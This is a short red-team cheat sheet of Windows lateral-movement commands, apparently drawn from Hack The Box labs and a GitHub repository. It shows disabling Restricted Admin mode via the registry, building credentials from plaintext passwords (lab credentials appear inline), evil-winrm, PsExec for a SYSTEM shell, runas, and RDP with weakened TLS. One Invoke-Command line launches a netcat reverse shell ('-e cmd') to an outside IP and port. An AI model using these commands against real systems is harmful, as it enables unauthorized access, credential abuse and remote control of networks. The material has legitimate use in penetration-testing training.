Windows Lateral Movement

RedTeaming_CheatSheet/windows-ad/Lateral-Movement.md at main · 0xJs/RedTeaming_CheatSheetGitHub

Enable Restricted Mode

c:\tools> reg add HKLM\System\CurrentControlSet\Control\Lsa /t REG_DWORD /v DisableRestrictedAdmin /d 0x0 /f

#How to Access via PSRemote (Windows)
PS C:\\htb> $password = ConvertTo-SecureString "Klmcargo2" -AsPlainText -Force
PS C:\\htb> $cred = new-object System.Management.Automation.PSCredential ("INLANEFREIGHT\\forend", $password)
PS C:\\htb> Enter-PSSession -ComputerName ACADEMY-EA-MS01 -Credential $cred
#Connect via Winrm (Linux)
Intrusionz3r0X@htb[/htb]$ evil-winrm -i 10.129.201.234 -u forend

Impersonate User

#Impersonate user
$user = '<domain>\\<user>'
$password = ConvertTo-SecureString '<password>' -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential($user,$password)
Invoke-Command -ComputerName '<computer-name>' -Credential $Cred -ScriptBlock { C:\\Temp\\netcat.exe -e cmd <ip> <port>}

Use Psexec to Open MMC as a SYSTEM user

#Open Terminal as System
PS C:\Tools\> .\PsExec -s -i powershell

PSSession

$SecPassword = ConvertTo-SecureString 's3rvice' -AsPlainText -Force;
$Cred = New-Object System.Management.Automation.PSCredential('Username', $SecPassword);

Runas

C:\\Windows\\system32> runas /netonly /user:INLANEFREIGHT\\adunn powershell
C:\\Windows\\system32> runas /user:Administrador "notepad.exe" cmd

RDP

transport_connect_tls:freerdp_set_last_error_ex ERRCONNECT_TLS_CONNECT_FAILED [0x00020008] use /tls-seclevel:0 to solve it

xfreerdp /v:10.10.120.69 /u:ldapreader /p:ppYaVcB5R /d:retro2.vl /tls-seclevel:0